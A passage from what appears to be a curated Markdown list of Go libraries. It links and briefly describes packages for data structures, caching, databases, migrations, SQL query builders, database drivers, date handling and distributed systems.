## Data Structures and Algorithms
### Bit-packing and Compression
- [bingo](https://github.com/iancmcc/bingo) - Fast, zero-allocation, lexicographical-order-preserving packing of native types to bytes.
- [binpacker](https://github.com/zhuangsirui/binpacker) - Binary packer and unpacker helps user build custom binary stream.
- [bit](https://github.com/yourbasic/bit) - Golang set data structure with bonus bit-twiddling functions.
- [crunch](https://github.com/superwhiskers/crunch) - Go package implementing buffers for handling various datatypes easily.
- [go-ef](https://github.com/amallia/go-ef) - A Go implementation of the Elias-Fano encoding.
- [roaring](https://github.com/RoaringBitmap/roaring) - Go package implementing compressed bitsets.
### Bit Sets
- [bitmap](https://github.com/kelindar/bitmap) - Dense, zero-allocation, SIMD-enabled bitmap/bitset in Go.
- [bitset](https://github.com/bits-and-blooms/bitset) - Go package implementing bitsets.
### Bloom and Cuckoo Filters
- [bloom](https://github.com/bits-and-blooms/bloom) - Go package implementing Bloom filters.
- [bloom](https://github.com/zhenjl/bloom) - Bloom filters implemented in Go.
- [bloom](https://github.com/yourbasic/bloom) - Golang Bloom filter implementation.
- [bloomfilter](https://github.com/OldPanda/bloomfilter) - Yet another Bloomfilter implementation in Go, compatible with Java's Guava library.
- [boomfilters](https://github.com/tylertreat/BoomFilters) - Probabilistic data structures for processing continuous, unbounded streams.
- [cuckoo-filter](https://github.com/linvon/cuckoo-filter) - Cuckoo filter: a comprehensive cuckoo filter, which is configurable and space optimized compared with other implements, and all features mentioned in original paper is available.
- [cuckoofilter](https://github.com/seiflotfy/cuckoofilter) - Cuckoo filter: a good alternative to a counting bloom filter implemented in Go.
- [ring](https://github.com/TheTannerRyan/ring) - Go implementation of a high performance, thread safe bloom filter.
### Data Structure and Algorithm Collections
- [algorithms](https://github.com/shady831213/algorithms) - Algorithms and data structures.CLRS study.
- [go-datastructures](https://github.com/Workiva/go-datastructures) - Collection of useful, performant, and thread-safe data structures.
- [gods](https://github.com/emirpasic/gods) - Go Data Structures. Containers, Sets, Lists, Stacks, Maps, BidiMaps, Trees, HashSet etc.
- [gostl](https://github.com/liyue201/gostl) - Data structure and algorithm library for go, designed to provide functions similar to C++ STL.
### Iterators
- [goterator](https://github.com/yaa110/goterator) - Iterator implementation to provide map and reduce functionalities.
- [iter](https://github.com/disksing/iter) - Go implementation of C++ STL iterators and algorithms.
### Maps
See also [Database](#database) for more complex key-value stores, and [Trees](#trees) for
additional ordered map implementations.
- [cmap](https://github.com/lrita/cmap) - a thread-safe concurrent map for go, support using `interface{}` as key and auto scale up shards.
- [dict](https://github.com/srfrog/dict) - Python-like dictionaries (dict) for Go.
- [goradd/maps](https://github.com/goradd/maps) - Go 1.18+ generic map interface for maps; safe maps; ordered maps; ordered, safe maps; etc.
### Miscellaneous Data Structures and Algorithms
- [concurrent-writer](https://github.com/free/concurrent-writer) - Highly concurrent drop-in replacement for `bufio.Writer`.
- [conjungo](https://github.com/InVisionApp/conjungo) - A small, powerful and flexible merge library.
- [count-min-log](https://github.com/seiflotfy/count-min-log) - Go implementation Count-Min-Log sketch: Approximately counting with approximate counters (Like Count-Min sketch but using less memory).
- [fsm](https://github.com/cocoonspace/fsm) - Finite-State Machine package.
- [genfuncs](https://github.com/nwillc/genfuncs) - Go 1.18+ generics package inspired by Kotlin's Sequence and Map.
- [go-generics](https://github.com/bobg/go-generics) - Generic slice, map, set, iterator, and goroutine utilities.
- [go-geoindex](https://github.com/hailocab/go-geoindex) - In-memory geo index.
- [go-rampart](https://github.com/francesconi/go-rampart) - Determine how intervals relate to each other.
- [go-rquad](https://github.com/aurelien-rainone/go-rquad) - Region quadtrees with efficient point location and neighbour finding.
- [go-tuple](https://github.com/barweiss/go-tuple) - Generic tuple implementation for Go 1.18+.
- [go18ds](https://github.com/daichi-m/go18ds) - Go Data Structures using Go 1.18 generics.
- [gofal](https://github.com/xxjwxc/gofal) - fractional api for Go.
- [gogu](https://github.com/esimov/gogu) - A comprehensive, reusable and efficient concurrent-safe generics utility functions and data structures library.
- [gota](https://github.com/kniren/gota) - Implementation of dataframes, series, and data wrangling methods for Go.
- [hide](https://github.com/emvi/hide) - ID type with marshalling to/from hash to prevent sending IDs to clients.
- [hilbert](https://github.com/google/hilbert) - Go package for mapping values to and from space-filling curves, such as Hilbert and Peano curves.
- [hyperloglog](https://github.com/axiomhq/hyperloglog) - HyperLogLog implementation with Sparse, LogLog-Beta bias correction and TailCut space reduction.
- [quadtree](https://github.com/s0rg/quadtree) - Generic, zero-alloc, 100%-test covered quadtree.
- [slices](https://github.com/srfrog/slices) - Functions that operate on slices; like `package strings` but adapted to work with slices.
- [slices](https://github.com/twharmon/slices) - Pure, generic functions for slices.
### Nullable Types
- [nan](https://github.com/kak-tus/nan) - Zero allocation Nullable structures in one library with handy conversion functions, marshallers and unmarshallers.
- [null](https://github.com/emvi/null) - Nullable Go types that can be marshalled/unmarshalled to/from JSON.
- [typ](https://github.com/gurukami/typ) - Null Types, Safe primitive type conversion and fetching value from complex structures.
### Queues
- [deque](https://github.com/edwingeng/deque) - A highly optimized double-ended queue.
- [deque](https://github.com/gammazero/deque) - Fast ring-buffer deque (double-ended queue).
- [goconcurrentqueue](https://github.com/enriquebris/goconcurrentqueue) - Concurrent FIFO queue.
- [memlog](https://github.com/embano1/memlog) - An easy to use, lightweight, thread-safe and append-only in-memory data structure inspired by Apache Kafka.
- [queue](https://github.com/adrianbrad/queue) - Multiple thread-safe, generic queue implementations for Go.
### Sets
- [dsu](https://github.com/ihebu/dsu) - Disjoint Set data structure implementation in Go.
- [golang-set](https://github.com/deckarep/golang-set) - Thread-Safe and Non-Thread-Safe high-performance sets for Go.
- [goset](https://github.com/zoumo/goset) - A useful Set collection implementation for Go.
- [set](https://github.com/StudioSol/set) - Simple set data structure implementation in Go using LinkedHashMap.
### Text Analysis
- [bleve](https://github.com/blevesearch/bleve) - Modern text indexing library for go.
- [go-adaptive-radix-tree](https://github.com/plar/go-adaptive-radix-tree) - Go implementation of Adaptive Radix Tree.
- [go-edlib](https://github.com/hbollon/go-edlib) - Go string comparison and edit distance algorithms library (Levenshtein, LCS, Hamming, Damerau levenshtein, Jaro-Winkler, etc.) compatible with Unicode.
- [levenshtein](https://github.com/agext/levenshtein) - Levenshtein distance and similarity metrics with customizable edit costs and Winkler-like bonus for common prefix.
- [levenshtein](https://github.com/agnivade/levenshtein) - Implementation to calculate levenshtein distance in Go.
- [mspm](https://github.com/BlackRabbitt/mspm) - Multi-String Pattern Matching Algorithm for information retrieval.
- [parsefields](https://github.com/MonaxGT/parsefields) - Tools for parse JSON-like logs for collecting unique fields and events.
- [ptrie](https://github.com/viant/ptrie) - An implementation of prefix tree.
- [trie](https://github.com/derekparker/trie) - Trie implementation in Go.
### Trees
- [hashsplit](http://github.com/bobg/hashsplit) - Split byte streams into chunks, and arrange chunks into trees, with boundaries determined by content, not position.
- [merkle](https://github.com/bobg/merkle) - Space-efficient computation of Merkle root hashes and inclusion proofs.
- [skiplist](https://github.com/MauriceGit/skiplist) - Very fast Go Skiplist implementation.
- [skiplist](https://github.com/gansidui/skiplist) - Skiplist implementation in Go.
- [treap](https://github.com/perdata/treap) - Persistent, fast ordered map using tree heaps.
- [treemap](https://github.com/igrmk/treemap) - Generic key-sorted map using a red-black tree under the hood.
### Pipes
- [ordered-concurrently](https://github.com/tejzpr/ordered-concurrently) - Go module that processes work concurrently and returns output in a channel in the order of input.
- [parapipe](https://github.com/nazar256/parapipe) - FIFO Pipeline which parallels execution on each stage while maintaining the order of messages and results.
- [pipeline](https://github.com/hyfather/pipeline) - An implementation of pipelines with fan-in and fan-out.
**[⬆ back to top](#contents)**
## Database
### Caches
_Data stores with expiring records, in-memory distributed data stores, or in-memory subsets of file-based databases._
- [2q](https://github.com/floatdrop/2q) - 2Q in-memory cache implementation.
- [bcache](https://github.com/iwanbk/bcache) - Eventually consistent distributed in-memory cache Go library.
- [BigCache](https://github.com/allegro/bigcache) - Efficient key/value cache for gigabytes of data.
- [cache](https://github.com/akyoto/cache) - In-memory key:value store with expiration time, 0 dependencies, <100 LoC, 100% coverage.
- [cache2go](https://github.com/muesli/cache2go) - In-memory key:value cache which supports automatic invalidation based on timeouts.
- [cachego](https://github.com/faabiosr/cachego) - Golang Cache component for multiple drivers.
- [clusteredBigCache](https://github.com/oaStuff/clusteredBigCache) - BigCache with clustering support and individual item expiration.
- [couchcache](https://github.com/codingsince1985/couchcache) - RESTful caching micro-service backed by Couchbase server.
- [fastcache](https://github.com/VictoriaMetrics/fastcache) - fast thread-safe inmemory cache for big number of entries. Minimizes GC overhead.
- [GCache](https://github.com/bluele/gcache) - Cache library with support for expirable Cache, LFU, LRU and ARC.
- [gdcache](https://github.com/ulovecode/gdcache) - A pure non-intrusive cache library implemented by golang, you can use it to implement your own distributed cache.
- [go-cache](https://github.com/viney-shih/go-cache) - A flexible multi-layer Go caching library to deal with in-memory and shared cache by adopting Cache-Aside pattern.
- [go-mcache](https://github.com/OrlovEvgeny/go-mcache) - Fast in-memory key:value store/cache library. Pointer caches.
- [gocache](https://github.com/eko/gocache) - A complete Go cache library with multiple stores (memory, memcache, redis, ...), chainable, loadable, metrics cache and more.
- [gocache](https://github.com/yuseferi/gocache) - A data race free Go ache library with high performance and auto pruge functionality
- [groupcache](https://github.com/golang/groupcache) - Groupcache is a caching and cache-filling library, intended as a replacement for memcached in many cases.
- [imcache](https://github.com/erni27/imcache) - A generic in-memory cache Go library. It supports expiration, sliding expiration, max entries limit, eviction callbacks and sharding.
- [nscache](https://github.com/no-src/nscache) - A Go caching framework that supports multiple data source drivers.
- [remember-go](https://github.com/rocketlaunchr/remember-go) - A universal interface for caching slow database queries (backed by redis, memcached, ristretto, or in-memory).
- [theine](https://github.com/Yiling-J/theine-go) - High performance, near optimal in-memory cache with proactive TTL expiration and generics.
- [timedmap](https://github.com/zekroTJA/timedmap) - Map with expiring key-value pairs.
- [ttlcache](https://github.com/jellydator/ttlcache) - An in-memory cache with item expiration and generics.
- [ttlcache](https://github.com/cheshir/ttlcache) - In-memory key value storage with TTL for each record.
### Databases Implemented in Go
- [badger](https://github.com/dgraph-io/badger) - Fast key-value store in Go.
- [bbolt](https://github.com/etcd-io/bbolt) - An embedded key/value database for Go.
- [Bitcask](https://git.mills.io/prologic/bitcask) - Bitcask is an embeddable, persistent and fast key-value (KV) database written in pure Go with predictable read/write performance, low latency and high throughput thanks to the bitcask on-disk layout (LSM+WAL).
- [buntdb](https://github.com/tidwall/buntdb) - Fast, embeddable, in-memory key/value database for Go with custom indexing and spatial support.
- [clover](https://github.com/ostafen/clover) - A lightweight document-oriented NoSQL database written in pure Golang.
- [cockroach](https://github.com/cockroachdb/cockroach) - Scalable, Geo-Replicated, Transactional Datastore.
- [Coffer](https://github.com/claygod/coffer) - Simple ACID key-value database that supports transactions.
- [column](https://github.com/kelindar/column) - High-performance, columnar, embeddable in-memory store with bitmap indexing and transactions.
- [CovenantSQL](https://github.com/CovenantSQL/CovenantSQL) - CovenantSQL is a SQL database on blockchain.
- [Databunker](https://github.com/paranoidguy/databunker) - Personally identifiable information (PII) storage service built to comply with GDPR and CCPA.
- [dgraph](https://github.com/dgraph-io/dgraph) - Scalable, Distributed, Low Latency, High Throughput Graph Database.
- [diskv](https://github.com/peterbourgon/diskv) - Home-grown disk-backed key-value store.
- [dolt](https://github.com/dolthub/dolt) - Dolt – It's Git for Data.
- [dtf](https://github.com/dtm-labs/dtf) - A distributed transaction manager. Support XA, TCC, SAGA, Reliable Messages.
- [eliasdb](https://github.com/krotik/eliasdb) - Dependency-free, transactional graph database with REST API, phrase search and SQL-like query language.
- [godis](https://github.com/hdt3213/godis) - A Golang implemented high-performance Redis server and cluster.
- [goleveldb](https://github.com/syndtr/goleveldb) - Implementation of the [LevelDB](https://github.com/google/leveldb) key/value database in Go.
- [hare](https://github.com/jameycribbs/hare) - A simple database management system that stores each table as a text file of line-delimited JSON.
- [immudb](https://github.com/codenotary/immudb) - immudb is a lightweight, high-speed immutable database for systems and applications written in Go.
- [influxdb](https://github.com/influxdb/influxdb) - Scalable datastore for metrics, events, and real-time analytics.
- [ledisdb](https://github.com/siddontang/ledisdb) - Ledisdb is a high performance NoSQL like Redis based on LevelDB.
- [levigo](https://github.com/jmhodges/levigo) - Levigo is a Go wrapper for LevelDB.
- [libradb](https://github.com/amit-davidson/LibraDB) - LibraDB is a simple database with less then 1000 lines of code for learning.
- [lotusdb](https://github.com/flower-corp/lotusdb) - Fast k/v database compatible with lsm and b+tree.
- [Milvus](https://github.com/milvus-io/milvus) - Milvus is a vector database for embedding management, analytics and search.
- [moss](https://github.com/couchbase/moss) - Moss is a simple LSM key-value storage engine written in 100% Go.
- [nutsdb](https://github.com/xujiajun/nutsdb) - Nutsdb is a simple, fast, embeddable, persistent key/value store written in pure Go. It supports fully serializable transactions and many data structures such as list, set, sorted set.
- [objectbox-go](https://github.com/objectbox/objectbox-go) - High-performance embedded Object Database (NoSQL) with Go API.
- [piladb](https://github.com/fern4lvarez/piladb) - Lightweight RESTful database engine based on stack data structures.
- [pogreb](https://github.com/akrylysov/pogreb) - Embedded key-value store for read-heavy workloads.
- [prometheus](https://github.com/prometheus/prometheus) - Monitoring system and time series database.
- [pudge](https://github.com/recoilme/pudge) - Fast and simple key/value store written using Go's standard library.
- [regatta](https://github.com/jamf/regatta) - Fast, simple, geo-distributed KV store built for cloud native era.
- [rosedb](https://github.com/roseduan/rosedb) - An embedded k-v database based on LSM+WAL, supports string, list, hash, set, zset.
- [rqlite](https://github.com/rqlite/rqlite) - The lightweight, distributed, relational database built on SQLite.
- [tempdb](https://github.com/rafaeljesus/tempdb) - Key-value store for temporary items.
- [tidb](https://github.com/pingcap/tidb) - TiDB is a distributed SQL database. Inspired by the design of Google F1.
- [tiedot](https://github.com/HouzuoGuo/tiedot) - Your NoSQL database powered by Golang.
- [unitdb](https://github.com/unit-io/unitdb) - Fast timeseries database for IoT, realtime messaging applications. Access unitdb with pubsub over tcp or websocket using github.com/unit-io/unitd application.
- [Vasto](https://github.com/chrislusf/vasto) - A distributed high-performance key-value store. On Disk. Eventual consistent. HA. Able to grow or shrink without service interruption.
- [VictoriaMetrics](https://github.com/VictoriaMetrics/VictoriaMetrics) - fast, resource-effective and scalable open source time series database. May be used as long-term remote storage for Prometheus. Supports PromQL.
### Database Schema Migration
- [atlas](https://github.com/ariga/atlas) - A Database Toolkit. A CLI designed to help companies better work with their data.
- [avro](https://github.com/khezen/avro) - Discover SQL schemas and convert them to AVRO schemas. Query SQL records into AVRO bytes.
- [bytebase](https://github.com/bytebase/bytebase) - Safe database schema change and version control for DevOps teams.
- [darwin](https://github.com/GuiaBolso/darwin) - Database schema evolution library for Go.
- [dbmate](https://github.com/amacneil/dbmate) - A lightweight, framework-agnostic database migration tool.
- [go-fixtures](https://github.com/RichardKnop/go-fixtures) - Django style fixtures for Golang's excellent built-in database/sql library.
- [go-pg-migrate](https://github.com/lawzava/go-pg-migrate) - CLI-friendly package for go-pg migrations management.
- [go-pg-migrations](https://github.com/robinjoseph08/go-pg-migrations) - A Go package to help write migrations with go-pg/pg.
- [goavro](https://github.com/linkedin/goavro) - A Go package that encodes and decodes Avro data.
- [godfish](https://github.com/rafaelespinoza/godfish) - Database migration manager, works with native query language. Support for cassandra, mysql, postgres, sqlite3.
- [goose](https://github.com/pressly/goose) - Database migration tool. You can manage your database's evolution by creating incremental SQL or Go scripts.
- [gorm-seeder](https://github.com/Kachit/gorm-seeder) - Simple database seeder for Gorm ORM.
- [gormigrate](https://github.com/go-gormigrate/gormigrate) - Database schema migration helper for Gorm ORM.
- [libschema](https://github.com/muir/libschema) - Define your migrations separately in each library. Migrations for open source libraries. MySQL & PostgreSQL.
- [migrate](https://github.com/golang-migrate/migrate) - Database migrations. CLI and Golang library.
- [migrator](https://github.com/lopezator/migrator) - Dead simple Go database migration library.
- [migrator](https://github.com/larapulse/migrator) - MySQL database migrator designed to run migrations to your features and manage database schema update with intuitive go code.
- [schema](https://github.com/adlio/schema) - Library to embed schema migrations for database/sql-compatible databases inside your Go binaries.
- [skeema](https://github.com/skeema/skeema) - Pure-SQL schema management system for MySQL, with support for sharding and external online schema change tools.
- [soda](https://github.com/gobuffalo/pop/tree/master/soda) - Database migration, creation, ORM, etc... for MySQL, PostgreSQL, and SQLite.
- [sql-migrate](https://github.com/rubenv/sql-migrate) - Database migration tool. Allows embedding migrations into the application using go-bindata.
- [sqlize](https://github.com/sunary/sqlize) - Database migration generator. Allows generate sql migration from model and existing sql by differ them.
### Database Tools
- [chproxy](https://github.com/Vertamedia/chproxy) - HTTP proxy for ClickHouse database.
- [clickhouse-bulk](https://github.com/nikepan/clickhouse-bulk) - Collects small inserts and sends big requests to ClickHouse servers.
- [datagen](https://github.com/codingconcepts/datagen) - A fast data generator that's multi-table aware and supports multi-row DML.
- [dbbench](https://github.com/sj14/dbbench) - Database benchmarking tool with support for several databases and scripts.
- [dynago](https://github.com/twharmon/dynago) - Simplify working with AWS DynamoDB.
- [go-mysql](https://github.com/siddontang/go-mysql) - Go toolset to handle MySQL protocol and replication.
- [go-mysql-elasticsearch](https://github.com/siddontang/go-mysql-elasticsearch) - Sync your MySQL data into Elasticsearch automatically.
- [hasql](https://golang.yandex/hasql) - Library for accessing multi-host SQL database installations.
- [kingshard](https://github.com/flike/kingshard) - kingshard is a high performance proxy for MySQL powered by Golang.
- [octillery](https://github.com/knocknote/octillery) - Go package for sharding databases ( Supports every ORM or raw SQL ).
- [onedump](https://github.com/liweiyi88/onedump) - Database backup from different drivers to different destinations with one command and configuration.
- [orchestrator](https://github.com/github/orchestrator) - MySQL replication topology manager & visualizer.
- [pg_timetable](https://github.com/cybertec-postgresql/pg_timetable) - Advanced scheduling for PostgreSQL.
- [pgweb](https://github.com/sosedoff/pgweb) - Web-based PostgreSQL database browser.
- [prep](https://github.com/hexdigest/prep) - Use prepared SQL statements without changing your code.
- [pREST](https://github.com/prest/prest) - Simplify and accelerate development, ⚡ instant, realtime, high-performance on any Postgres application, existing or new.
- [rdb](https://github.com/HDT3213/rdb) - Redis RDB file parser for secondary development and memory analysis.
- [rwdb](https://github.com/andizzle/rwdb) - rwdb provides read replica capability for multiple database servers setup.
- [vitess](https://github.com/youtube/vitess) - vitess provides servers and tools which facilitate scaling of MySQL databases for large scale web services.
### SQL Query Builders
_Libraries for building and using SQL._
- [bqb](https://github.com/nullism/bqb) - Lightweight and easy to learn query builder.
- [buildsqlx](https://github.com/arthurkushman/buildsqlx) - Go database query builder library for PostgreSQL.
- [builq](https://github.com/cristalhq/builq) - Easily build SQL queries in Go.
- [dbq](https://github.com/rocketlaunchr/dbq) - Zero boilerplate database operations for Go.
- [Dotsql](https://github.com/gchaincl/dotsql) - Go library that helps you keep sql files in one place and use them with ease.
- [gendry](https://github.com/didi/gendry) - Non-invasive SQL builder and powerful data binder.
- [godbal](https://github.com/xujiajun/godbal) - Database Abstraction Layer (dbal) for go. Support SQL builder and get result easily.
- [goqu](https://github.com/doug-martin/goqu) - Idiomatic SQL builder and query library.
- [gosql](https://github.com/twharmon/gosql) - SQL Query builder with better null values support.
- [igor](https://github.com/galeone/igor) - Abstraction layer for PostgreSQL that supports advanced functionality and uses gorm-like syntax.
- [jet](https://github.com/go-jet/jet) - Framework for writing type-safe SQL queries in Go, with ability to easily convert database query result into desired arbitrary object structure.
- [ormlite](https://github.com/pupizoid/ormlite) - Lightweight package containing some ORM-like features and helpers for sqlite databases.
- [ozzo-dbx](https://github.com/go-ozzo/ozzo-dbx) - Powerful data retrieval methods as well as DB-agnostic query building capabilities.
- [qry](https://github.com/HnH/qry) - Tool that generates constants from files with raw SQL queries.
- [sg](https://github.com/go-the-way/sg) - A SQL Gen for generating standard SQLs(supports: CRUD) written in Go.
- [sq](https://github.com/bokwoon95/go-structured-query) - Type-safe SQL builder and struct mapper for Go.
- [sqlc](https://github.com/kyleconroy/sqlc) - Generate type-safe code from SQL.
- [sqlf](https://github.com/leporo/sqlf) - Fast SQL query builder.
- [sqlingo](https://github.com/lqs/sqlingo) - A lightweight DSL to build SQL in Go.
- [sqrl](https://github.com/elgris/sqrl) - SQL query builder, fork of Squirrel with improved performance.
- [Squalus](https://gitlab.com/qosenergy/squalus) - Thin layer over the Go SQL package that makes it easier to perform queries.
- [Squirrel](https://github.com/Masterminds/squirrel) - Go library that helps you build SQL queries.
- [xo](https://github.com/knq/xo) - Generate idiomatic Go code for databases based on existing schema definitions or custom queries supporting PostgreSQL, MySQL, SQLite, Oracle, and Microsoft SQL Server.
**[⬆ back to top](#contents)**
## Database Drivers
### Interfaces to Multiple Backends
- [cayley](https://github.com/google/cayley) - Graph database with support for multiple backends.
- [dsc](https://github.com/viant/dsc) - Datastore connectivity for SQL, NoSQL, structured files.
- [go-transaction-manager](https://github.com/avito-tech/go-transaction-manager) - Transaction manager with multiple adapters (sql, sqlx, gorm, mongo, ...) controls transaction boundaries.
- [gokv](https://github.com/philippgille/gokv) - Simple key-value store abstraction and implementations for Go (Redis, Consul, etcd, bbolt, BadgerDB, LevelDB, Memcached, DynamoDB, S3, PostgreSQL, MongoDB, CockroachDB and many more).
### Relational Database Drivers
- [avatica](https://github.com/apache/calcite-avatica-go) - Apache Avatica/Phoenix SQL driver for database/sql.
- [bgc](https://github.com/viant/bgc) - Datastore Connectivity for BigQuery for go.
- [firebirdsql](https://github.com/nakagami/firebirdsql) - Firebird RDBMS SQL driver for Go.
- [go-adodb](https://github.com/mattn/go-adodb) - Microsoft ActiveX Object DataBase driver for go that uses database/sql.
- [go-mssqldb](https://github.com/denisenkom/go-mssqldb) - Microsoft MSSQL driver for Go.
- [go-oci8](https://github.com/mattn/go-oci8) - Oracle driver for go that uses database/sql.
- [go-sql-driver/mysql](https://github.com/go-sql-driver/mysql) - MySQL driver for Go.
- [go-sqlite3](https://github.com/mattn/go-sqlite3) - SQLite3 driver for go that uses database/sql.
- [godror](https://github.com/godror/godror) - Oracle driver for Go, using the ODPI-C driver.
- [gofreetds](https://github.com/minus5/gofreetds) - Microsoft MSSQL driver. Go wrapper over [FreeTDS](https://www.freetds.org).
- [KSQL](https://github.com/VinGarcia/ksql) - A Simple and Powerful Golang SQL Library
- [pgx](https://github.com/jackc/pgx) - PostgreSQL driver supporting features beyond those exposed by database/sql.
- [pig](https://github.com/alexeyco/pig) - Simple [pgx](https://github.com/jackc/pgx) wrapper to execute and [scan](https://github.com/georgysavva/scany) query results easily.
- [pq](https://github.com/lib/pq) - Pure Go Postgres driver for database/sql.
- [Sqinn-Go](https://github.com/cvilsmeier/sqinn-go) - SQLite with pure Go.
- [sqlhooks](https://github.com/qustavo/sqlhooks) - Attach hooks to any database/sql driver.
- [surrealdb.go](https://github.com/surrealdb/surrealdb.go) - SurrealDB Driver for Go.
- [ydb-go-sdk](https://github.com/ydb-platform/ydb-go-sdk) - native and database/sql driver YDB (Yandex Database)
### NoSQL Database Drivers
- [aerospike-client-go](https://github.com/aerospike/aerospike-client-go) - Aerospike client in Go language.
- [arangolite](https://github.com/solher/arangolite) - Lightweight golang driver for ArangoDB.
- [asc](https://github.com/viant/asc) - Datastore Connectivity for Aerospike for go.
- [forestdb](https://github.com/couchbase/goforestdb) - Go bindings for ForestDB.
- [go-couchbase](https://github.com/couchbase/go-couchbase) - Couchbase client in Go.
- [go-pilosa](https://github.com/pilosa/go-pilosa) - Go client library for Pilosa.
- [go-rejson](https://github.com/nitishm/go-rejson) - Golang client for redislabs' ReJSON module using Redigo golang client. Store and manipulate structs as JSON objects in redis with ease.
- [gocb](https://github.com/couchbase/gocb) - Official Couchbase Go SDK.
- [gocosmos](https://github.com/btnguyen2k/gocosmos) - REST client and standard `database/sql` driver for Azure Cosmos DB.
- [gocql](https://gocql.github.io) - Go language driver for Apache Cassandra.
- [godis](https://github.com/piaohao/godis) - redis client implement by golang, inspired by jedis.
- [godscache](https://github.com/defcronyke/godscache) - A wrapper for the Google Cloud Platform Go Datastore package that adds caching using memcached.
- [gomemcache](https://github.com/bradfitz/gomemcache/) - memcache client library for the Go programming language.
- [gorethink](https://github.com/dancannon/gorethink) - Go language driver for RethinkDB.
- [goriak](https://github.com/zegl/goriak) - Go language driver for Riak KV.
- [Kivik](https://github.com/go-kivik/kivik) - Kivik provides a common Go and GopherJS client library for CouchDB, PouchDB, and similar databases.
- [mgm](https://github.com/kamva/mgm) - MongoDB model-based ODM for Go (based on official MongoDB driver).
- [mgo](https://github.com/globalsign/mgo) - (unmaintained) MongoDB driver for the Go language that implements a rich and well tested selection of features under a very simple API following standard Go idioms.
- [mongo-go-driver](https://github.com/mongodb/mongo-go-driver) - Official MongoDB driver for the Go language.
- [neo4j](https://github.com/cihangir/neo4j) - Neo4j Rest API Bindings for Golang.
- [Neo4j-GO](https://github.com/davemeehan/Neo4j-GO) - Neo4j REST Client in golang.
- [neoism](https://github.com/jmcvetta/neoism) - Neo4j client for Golang.
- [qmgo](https://github.com/qiniu/qmgo) - The MongoDB driver for Go. It‘s based on official MongoDB driver but easier to use like Mgo.
- [redeo](https://github.com/bsm/redeo) - Redis-protocol compatible TCP servers/services.
- [redigo](https://github.com/gomodule/redigo) - Redigo is a Go client for the Redis database.
- [redis](https://github.com/redis/go-redis) - Redis client for Golang.
- [rueidis](http://github.com/rueian/rueidis) - Fast Redis RESP3 client with auto pipelining and server-assisted client side caching.
- [xredis](https://github.com/shomali11/xredis) - Typesafe, customizable, clean & easy to use Redis client.
### Search and Analytic Databases
- [elastic](https://github.com/olivere/elastic) - Elasticsearch client for Go.
- [elasticsql](https://github.com/cch123/elasticsql) - Convert sql to elasticsearch dsl in Go.
- [elastigo](https://github.com/mattbaird/elastigo) - Elasticsearch client library.
- [go-elasticsearch](https://github.com/elastic/go-elasticsearch) - Official Elasticsearch client for Go.
- [goes](https://github.com/OwnLocal/goes) - Library to interact with Elasticsearch.
- [skizze](https://github.com/seiflotfy/skizze) - probabilistic data-structures service and storage.
**[⬆ back to top](#contents)**
## Date and Time
_Libraries for working with dates and times._
- [carbon](https://github.com/golang-module/carbon) - A simple, semantic and developer-friendly golang package for datetime.
- [carbon](https://github.com/uniplaces/carbon) - Simple Time extension with a lot of util methods, ported from PHP Carbon library.
- [cronrange](https://github.com/1set/cronrange) - Parses Cron-style time range expressions, checks if the given time is within any ranges.
- [date](https://github.com/rickb777/date) - Augments Time for working with dates, date ranges, time spans, periods, and time-of-day.
- [dateparse](https://github.com/araddon/dateparse) - Parse date's without knowing format in advance.
- [durafmt](https://github.com/hako/durafmt) - Time duration formatting library for Go.
- [feiertage](https://github.com/wlbr/feiertage) - Set of functions to calculate public holidays in Germany, incl. specialization on the states of Germany (Bundesländer). Things like Easter, Pentecost, Thanksgiving...
- [go-anytime](https://github.com/ijt/go-anytime) - Parse dates/times like "next dec 22nd at 3pm" and ranges like "from today until next thursday" without knowing the format in advance.
- [go-persian-calendar](https://github.com/yaa110/go-persian-calendar) - The implementation of the Persian (Solar Hijri) Calendar in Go (golang).
- [go-str2duration](https://github.com/xhit/go-str2duration) - Convert string to duration. Support time.Duration returned string and more.
- [go-sunrise](https://github.com/nathan-osman/go-sunrise) - Calculate the sunrise and sunset times for a given location.
- [go-week](https://github.com/stoewer/go-week) - An efficient package to work with ISO8601 week dates.
- [gostradamus](https://github.com/bykof/gostradamus) - A Go package for working with dates.
- [iso8601](https://github.com/relvacode/iso8601) - Efficiently parse ISO8601 date-times without regex.
- [kair](https://github.com/GuilhermeCaruso/kair) - Date and Time - Golang Formatting Library.
- [now](https://github.com/jinzhu/now) - Now is a time toolkit for golang.
- [NullTime](https://github.com/kirillDanshin/nulltime) - Nullable `time.Time`.
- [strftime](https://github.com/awoodbeck/strftime) - C99-compatible strftime formatter.
- [timespan](https://github.com/SaidinWoT/timespan) - For interacting with intervals of time, defined as a start time and a duration.
- [timeutil](https://github.com/leekchan/timeutil) - Useful extensions (Timedelta, Strftime, ...) to the golang's time package.
- [tuesday](https://github.com/osteele/tuesday) - Ruby-compatible Strftime function.
**[⬆ back to top](#contents)**
## Distributed Systems
_Packages that help with building Distributed Systems._
- [arpc](https://github.com/lesismal/arpc) - More effective network communication, support two-way-calling, notify, broadcast.
- [celeriac](https://github.com/svcavallar/celeriac.v1) - Library for adding support for interacting and monitoring Celery workers, tasks and events in Go.
- [consistent](https://github.com/buraksezer/consistent) - Consistent hashing with bounded loads.
- [consistenthash](https://github.com/mbrostami/consistenthash) - Consistent hashing with configurable replicas.
- [dht](https://github.com/anacrolix/dht) - BitTorrent Kademlia DHT implementation.
- [digota](https://github.com/digota/digota) - grpc ecommerce microservice.
- [dot](https://github.com/dotchain/dot/) - distributed sync using operational transformation/OT.
- [doublejump](https://github.com/edwingeng/doublejump) - A revamped Google's jump consistent hash.
- [dragonboat](https://github.com/lni/dragonboat) - A feature complete and high performance multi-group Raft library in Go.
- [Dragonfly](https://github.com/dragonflyoss/Dragonfly2) - Provide efficient, stable and secure file distribution and image acceleration based on p2p technology to be the best practice and standard solution in cloud native architectures.
- [drmaa](https://github.com/dgruber/drmaa) - Job submission library for cluster schedulers based on the DRMAA standard.
- [dynamolock](https://cirello.io/dynamolock) - DynamoDB-backed distributed locking implementation.
- [dynatomic](https://github.com/tylfin/dynatomic) - A library for using DynamoDB as an atomic counter.
- [emitter-io](https://github.com/emitter-io/emitter) - High performance, distributed, secure and low latency publish-subscribe platform built with MQTT, Websockets and love.
- [failured](https://github.com/andy2046/failured) - adaptive accrual failure detector for distributed systems.
- [flowgraph](https://github.com/vectaport/flowgraph) - flow-based programming package.
- [gleam](https://github.com/chrislusf/gleam) - Fast and scalable distributed map/reduce system written in pure Go and Luajit, combining Go's high concurrency with Luajit's high performance, runs standalone or distributed.
